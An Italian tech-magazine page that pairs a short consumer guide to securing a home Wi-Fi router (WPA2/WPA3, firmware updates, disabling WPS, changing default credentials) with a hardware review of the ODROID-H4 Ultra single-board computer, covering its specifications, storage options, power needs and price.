La sicurezza dei dati personali e delle password è un argomento che sta molto a cuore da sempre, a tutti noi. Purtroppo, gli attacchi informatici sono all’ordine del giorno e non solo sui principali siti di tutto il mondo: phishing, ransomware e via discorrendo, infatti, rendono la vita difficile a chiunque, per non parlare poi dei vicini ficcanaso che provano a “bucare” la nostra Wi-Fi. E considerando che gran parte degli attacchi fanno leva su disattenzioni umane, errori di configurazione e vulnerabilità di applicazioni, sistemi operativi e dispositivi, cosa si può fare per tenerli a bada? Semplice: restare vigili e informati! Pronti, insomma. Sempre!

 

IL PRIMO PASSO

Partiamo dal presupposto che una persona che abbia sufficienti competenze, tempo e risorse economiche, sarà quasi sempre in grado di violare qualunque sistema, anche quello ritenuto più sicuro. Succede ovunque e a qualunque livello ma, ovviamente, una cosa è violare i server della CIA, una cosa ben diversa è penetrare una rete Wi-Fi e sottrarre gli account salvati su un file pensando fossero al sicuro.
Basandoci su questa premessa, nel tutorial contenuto nella pagina di fianco, vedremo come rendere sicura una rete Wi-Fi che, non bisogna dimenticarlo mai, ha spesso connessi smartphone, smart TV, PC e device d’ogni tipo… con tutto quello che ne segue!

 

PER UN ROUTER IMPENETRABILE

Evitare intrusioni e vulnerabilità è fondamentale per garantire una rete Wi-Fi affidabile. Ecco gli accorgimenti necessari per preservare sicurezza e privacy.

Nascondere il nome
I router trasmettono ai dispositivi vicini l’SSID di rete; meglio disattivare quest’opzione, per cui effettuare l’accesso alla pagina di configurazione del router (nel nostro caso un Fritz!Box) e cercare l’impostazione simile a Trasmissione SSID o SSID visibile e disattiviamola.

 

Usare la criptazione
Meglio evitare di essere pigri: se il router di default utilizza ancora l’obsoleta criptazione WEP, attivare la WPA2 o, meglio ancora, la WPA3. Solitamente nei router la voce per attivare la modalità di criptazione si trova nella sezione Sicurezza.

 

Aggiornare il firmware
Per evitare che qualcuno possa sfruttare una vulnerabilità del firmware del router assicurarsi di avere sempre l’ultimo firmware. È possibile scaricarlo accedendo al sito del produttore o direttamente dal router cercando la voce Aggiornamento firmware, Update o simili, solitamente nella sezione Sistema.

 

Modificare la password
Per fornire accesso alla Wi-Fi utilizzare la connessione ospite tramite la voce Accesso ospite, Ospite, Abilita rete ospite o simili all’interno di una sezione Rete Wireless, Wireless, Wi-Fi o Impostazioni aggiuntive. Anche in questo caso è possibile impostare a piacimento il nome della rete e la password.

 

Non usare il WPS
Il WPS è molto comodo, ma poco sicuro, quindi meglio disabilitarlo. Accedere alla pagina di configurazione e cercare l’opzione WPS Attiva, Abilita WPS o simile. Dopo aver disattivato l’opzione è consigliabile riavviare il router.

 

Impostare una password “forte”
I roouter in commercio vengono venduti utilizzando credenziali standard (semplici e alla portata di molti “smanettoni”). Per cambiarle, accedere al router  e , nella sezione Sicurezza, modificare username e password.

 

Leggi anche: “A cosa servono i router e gli switch

Continua a Leggere

Articoli

Test hardware: ODROID-H4 Ultra

L’SBC giusto se dovete realizzare progetti che richiedono tanta potenza di calcolo e un buon numero di dischi

Avatar

Pubblicato

il

ODROID-H4 Ultra è indicato come SBC (computer su singola scheda) dal produttore, ma in realtà si avvicina olto a un miniPC. Rispetto ad altri SBC si distingue per il fatto di essere animato da una CPU Intel e per la sua elevata potenza e capacità di gestire carichi di lavoro intensi. È un’alternativa agli SBC basati su ARM come la Raspberry Pi e rispetto all’altro SBC recensito in questo numero è più adatto a progetti che richiedono una potenza di calcolo piuttosto elevata. Anche le sue dimensioni sono maggiori rispetto a quelle “classiche” e sono pari a 12×12 cm.

 

Due punti di forza

Il cuore della scheda è una CPU Intel Core i3 N305 Alder Lake-N con 8 core e 8 thread, 6 MB di cache e una frequenza massima di 3,8 GHz. Questo garantisce notevoli capacità di calcolo per qualsiasi progetto hardware/software. La GPU è integrata, adatta per l’uso desktop e per progetti da maker/prototipazione, ma non per il gaming intensivo. Supporta fino a 48 GB di memoria RAM DDR5-4800, un tipo di RAM recente e veloce che contribuisce alle prestazioni. È però presente un solo slot per la RAM, nella parte inferiore della scheda, il che impedisce di sfruttare il dual channel. La connettività è un altro dei punti di forza di ODROID-H4 Ultra. Dispone di
due porte USB 3.0 e due USB 2.0. Per il video, offre una porta HDMI 2.0 e due DisplayPort 1.2, consentendo di collegare fino a tre schermi, anche in 4K. Per la rete, ci sono due porte Ethernet da 2,5 Gbit. Completano la dotazione le porte audio due jack da 3,5mm (input e output) e una porta audio digitale S/PDIF. Troviamo poi un GPIO da
24 pin per l’interfacciamento con altri dispositivi o la creazione di circuiti. Non ci sono Wi-Fi o Bluetooth integrati.

 

60W almeno

Passiamo allo storage. ODROID-H4 Ultra offre diverse opzioni. Ha un connettore per unità eMMC, che però non sono particolarmente famose per la loro velocità. Per installare il sistema operativo, sono compatibili sia Linux sia Windows, conviene sfruttare lo slot M.2 PCIe 3.0 x 4 che supporta gli SSD NVMe 2280. Inoltre, per progetti che
richiedono più dischi, come un NAS, la scheda offre ben quattro porte SATA3 6 Gbps con connettori di alimentazione dedicati. Per l’alimentazione, il produttore suggerisce un alimentatore da 60W (che sul sito di Cecchi S.r.l., che ci ha fornito il sample, ha un costo di 15 €). Tuttavia, collegando quattro dischi SATA,
potrebbe essere necessario un alimentatore da 133W o superiore. Accessori utili includono un case (16 €) e una ventola (9 €), sempre disponibili su https://odroid.info/shop. La CPU include di serie un dissipatore passivo, ma la ventola può essere utile sotto carichi pesanti, risultando comunque silenziosa nei test. Il montaggio di case, NVMe e modulo RAM è molto semplice. La scheda può essere acquistata su questo sito a 340 euro.

 

Scheda tecnica
CPU: Intel Core i3 N305 Alder Lake-N, 8 core, 8 thread, 6 MB cache, 3,8 GHz
GPU: Intel UHD Graphics, 32 EU, 1,25 GHz
RAM: max 48 GB DDR5 PC5-384000 4800MHz (singolo slot, no integrata)
Storage: slot per eMMC, quattro porte SATA 3.0, e linee PCIe 3.0 per NVMe M.2
Video: 1 HDMI 2.0 e 2 DisplayPort 1.2
Audio: 2x jack 3,5mm (input/output), 1x porta audio digitale S/PDIF
Porte: 2x USB 3.0, 2x USB 2.0, GPIO 24 pin
Connettività: 2 Ethernet 2,5 Gbit

 

 

Leggi anche: “Test hardware: Youyeetoo X1

Continua a Leggere

Trending